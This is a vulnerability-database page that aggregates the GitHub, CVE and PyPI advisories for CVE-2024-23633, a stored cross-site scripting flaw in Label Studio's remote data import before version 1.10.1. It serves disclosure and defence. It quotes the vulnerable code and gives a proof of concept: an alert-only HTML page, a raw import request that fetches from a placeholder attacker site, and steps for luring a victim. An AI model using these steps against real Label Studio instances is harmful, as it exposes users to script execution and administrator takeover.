GHSA-FQ23-G58M-799R

Vulnerability from github – Published: 2024-01-24 14:21 – Updated: 2024-11-22 18:20

Summary

Cross-site Scripting Vulnerability on Data Import

Details

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.10.1 and was tested on version 1.9.2.post0.

Overview

Label Studio had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website.

Description

The following code snippet in Label Studio showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL.

def tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list):
    """Download file using URL and read tasks from it"""
    # process URL with tasks
    try:
        filename = url.rsplit('/', 1)[-1] <1>

        response = ssrf_safe_get(
            url, verify=project.organization.should_verify_ssl_certs(), stream=True, headers={'Accept-Encoding': None}
        )
        file_content = response.content
        check_tasks_max_file_size(int(response.headers['content-length']))
        file_upload = create_file_upload(user, project, SimpleUploadedFile(filename, file_content))
        if file_upload.format_could_be_tasks_list:
            could_be_tasks_list = True
        file_upload_ids.append(file_upload.id)
        tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids)

    except ValidationError as e:
        raise e
    except Exception as e:
        raise ValidationError(str(e))
    return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list

The file name that was set was retrieved from the URL.

The downloaded file path could then be retrieved by sending a request to /api/projects/{project_id}/file-uploads?ids=[{download_id}] where {project_id} was the ID of the project and {download_id} was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the following code snippet demonstrated that the Content-Type of the response was determined by the file extension, since mimetypes.guess_type guesses the Content-Type based on the file extension.

class UploadedFileResponse(generics.RetrieveAPIView):
    permission_classes = (IsAuthenticated,)

    @swagger_auto_schema(auto_schema=None)
    def get(self, *args, **kwargs):
        request = self.request
        filename = kwargs['filename']
        # XXX needed, on windows os.path.join generates '\' which breaks FileUpload
        file = settings.UPLOAD_DIR + ('/' if not settings.UPLOAD_DIR.endswith('/') else '') + filename
        logger.debug(f'Fetch uploaded file by user {request.user} => {file}')
        file_upload = FileUpload.objects.filter(file=file).last()

        if not file_upload.has_permission(request.user):
            return Response(status=status.HTTP_403_FORBIDDEN)

        file = file_upload.file
        if file.storage.exists(file.name):
            content_type, encoding = mimetypes.guess_type(str(file.name)) <1>
            content_type = content_type or 'application/octet-stream'
            return RangedFileResponse(request, file.open(mode='rb'), content_type=content_type)
        else:
            return Response(status=status.HTTP_404_NOT_FOUND)

Determines the Content-Type based on the extension of the uploaded file by using mimetypes.guess_type.

Since the Content-Type was determined by the file extension of the downloaded file, an attacker could import in a .html file that would execute JavaScript when visited.

Proof of Concept

Below were the steps to recreate this issue:

Host the following HTML proof of concept (POC) script on an external website with the file extension .html that would be downloaded to the Label Studio website.

<html>
    <body>
        <h1>Data Import XSS</h1>
        <script>
            alert(document.domain);
        </script>
    </body>
</html>

Send the following POST request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the {victim_host} is the address and port of the victim Label Studio website (eg. labelstudio.com:8080), {project_id} is the ID of the project where the data would be imported into, {cookies} are session cookies and {evil_site} is the website hosting the malicious HTML file (named xss.html in the following example).

POST /api/projects/{project_id}/import?commit_to_project=false HTTP/1.1
Host: {victim_host}
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 43
Connection: close
Cookie: {cookies}
Pragma: no-cache
Cache-Control: no-cache

url=https://{evil_site}/xss.html

To retrieve the downloaded file path could be retrieved by sending a GET request to /api/projects/{project_id}/file-uploads?ids=[{download_id}], where {download_id} is the ID of the file download from the previous step.
Send your victim a link to /data/{file_path}, where {file_path} is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting /data/upload/1/cfcfc340-xss.html.

xss-import-alert

Impact

Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.

Remediation Advice

For all user provided files that are downloaded by Label Studio, set the Content-Security-Policy: sandbox; response header when viewed on the site. The sandbox directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a same-origin policy (documentation).
Restrict the allowed file extensions that could be downloaded.

Discovered

August 2023, Alex Brown, elttam

Severity

4.7 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "label-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-23633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-24T14:21:47Z",
    "nvd_published_at": "2024-01-24T00:15:08Z",
    "severity": "MODERATE"
  },
  "details": "# Introduction\n\nThis write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.10.1` and was tested on version `1.9.2.post0`.\n\n# Overview\n\n[Label Studio](https://github.com/HumanSignal/label-studio) had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website.\n\n# Description\n\nThe following [code snippet in Label Studio](https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146) showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL.\n\n```python\ndef tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list):\n    \"\"\"Download file using URL and read tasks from it\"\"\"\n    # process URL with tasks\n    try:\n        filename = url.rsplit(\u0027/\u0027, 1)[-1] \u003c1\u003e\n\n        response = ssrf_safe_get(\n            url, verify=project.organization.should_verify_ssl_certs(), stream=True, headers={\u0027Accept-Encoding\u0027: None}\n        )\n        file_content = response.content\n        check_tasks_max_file_size(int(response.headers[\u0027content-length\u0027]))\n        file_upload = create_file_upload(user, project, SimpleUploadedFile(filename, file_content))\n        if file_upload.format_could_be_tasks_list:\n            could_be_tasks_list = True\n        file_upload_ids.append(file_upload.id)\n        tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids)\n\n    except ValidationError as e:\n        raise e\n    except Exception as e:\n        raise ValidationError(str(e))\n    return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list\n```\n1. The file name that was set was retrieved from the URL.\n\nThe downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the [following code snippet](https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62) demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension.\n\n```python\nclass UploadedFileResponse(generics.RetrieveAPIView):\n    permission_classes = (IsAuthenticated,)\n\n    @swagger_auto_schema(auto_schema=None)\n    def get(self, *args, **kwargs):\n        request = self.request\n        filename = kwargs[\u0027filename\u0027]\n        # XXX needed, on windows os.path.join generates \u0027\\\u0027 which breaks FileUpload\n        file = settings.UPLOAD_DIR + (\u0027/\u0027 if not settings.UPLOAD_DIR.endswith(\u0027/\u0027) else \u0027\u0027) + filename\n        logger.debug(f\u0027Fetch uploaded file by user {request.user} =\u003e {file}\u0027)\n        file_upload = FileUpload.objects.filter(file=file).last()\n\n        if not file_upload.has_permission(request.user):\n            return Response(status=status.HTTP_403_FORBIDDEN)\n\n        file = file_upload.file\n        if file.storage.exists(file.name):\n            content_type, encoding = mimetypes.guess_type(str(file.name)) \u003c1\u003e\n            content_type = content_type or \u0027application/octet-stream\u0027\n            return RangedFileResponse(request, file.open(mode=\u0027rb\u0027), content_type=content_type)\n        else:\n            return Response(status=status.HTTP_404_NOT_FOUND)\n```\n1. Determines the `Content-Type` based on the extension of the uploaded file by using `mimetypes.guess_type`.\n\nSince the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited.\n\n# Proof of Concept\n\nBelow were the steps to recreate this issue:\n\n1. Host the following HTML proof of concept (POC) script on an external website with the file extension `.html` that would be downloaded to the Label Studio website.\n\n```html\n\u003chtml\u003e\n    \u003cbody\u003e\n        \u003ch1\u003eData Import XSS\u003c/h1\u003e\n        \u003cscript\u003e\n            alert(document.domain);\n        \u003c/script\u003e\n    \u003c/body\u003e\n\u003c/html\u003e\n```\n\n2. Send the following `POST` request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the `{victim_host}` is the address and port of the victim Label Studio website (eg. `labelstudio.com:8080`), `{project_id}` is the ID of the project where the data would be imported into, `{cookies}` are session cookies and `{evil_site}` is the website hosting the malicious HTML file (named `xss.html` in the following example).\n\n```http\nPOST /api/projects/{project_id}/import?commit_to_project=false HTTP/1.1\nHost: {victim_host}\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\ncontent-type: application/x-www-form-urlencoded\nContent-Length: 43\nConnection: close\nCookie: {cookies}\nPragma: no-cache\nCache-Control: no-cache\n\nurl=https://{evil_site}/xss.html\n```\n\n3. To retrieve the downloaded file path could be retrieved by sending a `GET` request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]`, where `{download_id}` is the ID of the file download from the previous step.\n\n4. Send your victim a link to `/data/{file_path}`, where `{file_path}` is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting `/data/upload/1/cfcfc340-xss.html`.\n\n![xss-import-alert](https://user-images.githubusercontent.com/139727151/282223222-d8f9132c-838e-4aa6-9c03-a2bc83b4a409.png)\n\n# Impact\n\nExecuting arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.\n\n# Remediation Advice\n\n* For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page\u0027s actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy ([documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox)).\n* Restrict the allowed file extensions that could be downloaded.\n\n# Discovered\n- August 2023, Alex Brown, elttam",
  "id": "GHSA-fq23-g58m-799r",
  "modified": "2024-11-22T18:20:58Z",
  "published": "2024-01-24T14:21:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-fq23-g58m-799r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23633"
    },
    {
      "type": "WEB",
      "url": "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HumanSignal/label-studio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2024-128.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cross-site Scripting Vulnerability on Data Import"
}

CVE-2024-23633 (GCVE-0-2024-23633)

Vulnerability from cvelistv5 – Published: 2024-01-23 23:15 – Updated: 2024-11-13 15:24

Title

Label Studio XSS Vulnerability on Data Import

Summary

Label Studio, an open source data labeling tool had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. Prior to version 1.10.1, this feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image. `data_import/uploader.py` lines 125C5 through 146 showed that if a URL passed the server side request forgery verification checks, the contents of the file would be downloaded using the filename in the URL. The downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, `data_import/api.py`lines 595C1 through 616C62 demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited. Version 1.10.1 contains a patch for this issue. Other remediation strategies are also available. For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy. Alternatively, restrict the allowed file extensions that may be downloaded.

Severity

4.7 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-11-13 15:23 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7820 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/HumanSignal/label-studio/secur…	x_refsource_CONFIRM
https://developer.mozilla.org/en-US/docs/Web/HTTP…	x_refsource_MISC
https://github.com/HumanSignal/label-studio/blob/…	x_refsource_MISC
https://github.com/HumanSignal/label-studio/blob/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
HumanSignal	label-studio	Affected: < 1.10.1

Show details on NVD website

JSON

To clipboard

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    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-23633",
    "datePublished": "2024-01-23T23:15:09.044Z",
    "dateReserved": "2024-01-19T00:18:53.232Z",
    "dateUpdated": "2024-11-13T15:24:01.901Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

PYSEC-2024-128

Vulnerability from pysec - Published: 2024-01-24 00:15 - Updated: 2024-11-21 14:22

Details

data_import/uploader.py lines 125C5 through 146 showed that if a URL passed the server side request forgery verification checks, the contents of the file would be downloaded using the filename in the URL. The downloaded file path could then be retrieved by sending a request to /api/projects/{project_id}/file-uploads?ids=[{download_id}] where {project_id} was the ID of the project and {download_id} was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, data_import/api.pylines 595C1 through 616C62 demonstrated that the Content-Type of the response was determined by the file extension, since mimetypes.guess_type guesses the Content-Type based on the file extension. Since the Content-Type was determined by the file extension of the downloaded file, an attacker could import in a .html file that would execute JavaScript when visited.

Version 1.10.1 contains a patch for this issue. Other remediation strategies are also available. For all user provided files that are downloaded by Label Studio, set the Content-Security-Policy: sandbox; response header when viewed on the site. The sandbox directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a same-origin policy. Alternatively, restrict the allowed file extensions that may be downloaded.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Impacted products

Name	purl
label-studio	pkg:pypi/label-studio

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "label-studio",
        "purl": "pkg:pypi/label-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.4.post1",
        "0.4.4.post2",
        "0.4.5",
        "0.4.6",
        "0.4.6.post1",
        "0.4.6.post2",
        "0.4.7",
        "0.4.8",
        "0.5.0",
        "0.5.1",
        "0.6.0",
        "0.6.1",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.7.3",
        "0.7.4",
        "0.7.4.post0",
        "0.7.4.post1",
        "0.7.5.post1",
        "0.7.5.post2",
        "0.8.0",
        "0.8.0.post0",
        "0.8.1",
        "0.8.1.post0",
        "0.8.2",
        "0.8.2.post0",
        "0.9.0",
        "0.9.0.post2",
        "0.9.0.post3",
        "0.9.0.post4",
        "0.9.0.post5",
        "0.9.1",
        "0.9.1.post0",
        "0.9.1.post1",
        "0.9.1.post2",
        "1.0.0",
        "1.0.0.post0",
        "1.0.0.post1",
        "1.0.0.post2",
        "1.0.0.post3",
        "1.0.1",
        "1.0.2",
        "1.0.2.post0",
        "1.1.0",
        "1.1.0rc0",
        "1.1.1",
        "1.10.0",
        "1.10.0.post0",
        "1.2",
        "1.3",
        "1.3.post0",
        "1.3.post1",
        "1.4",
        "1.4.1",
        "1.4.1.post0",
        "1.4.1.post1",
        "1.5.0",
        "1.5.0.post0",
        "1.6.0",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.8.0",
        "1.8.1",
        "1.8.2",
        "1.8.2.post0",
        "1.8.2.post1",
        "1.9.0",
        "1.9.1",
        "1.9.1.post0",
        "1.9.2",
        "1.9.2.post0"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-23633",
    "GHSA-fq23-g58m-799r"
  ],
  "details": "Label Studio, an open source data labeling tool had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. Prior to version 1.10.1, this feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.\n\n`data_import/uploader.py` lines 125C5 through 146 showed that if a URL passed the server side request forgery verification checks, the contents of the file would be downloaded using the filename in the URL. The downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, `data_import/api.py`lines 595C1 through 616C62 demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited.\n\nVersion 1.10.1 contains a patch for this issue. Other remediation strategies are also available. For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page\u0027s actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy. Alternatively, restrict the allowed file extensions that may be downloaded.",
  "id": "PYSEC-2024-128",
  "modified": "2024-11-21T14:22:53.406222+00:00",
  "published": "2024-01-24T00:15:00+00:00",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-fq23-g58m-799r"
    },
    {
      "type": "WEB",
      "url": "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

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How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-FQ23-G58M-799R

Introduction

Overview

Description

Proof of Concept

Impact

Remediation Advice

Discovered

CVE-2024-23633 (GCVE-0-2024-23633)

PYSEC-2024-128

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Related by attack behaviour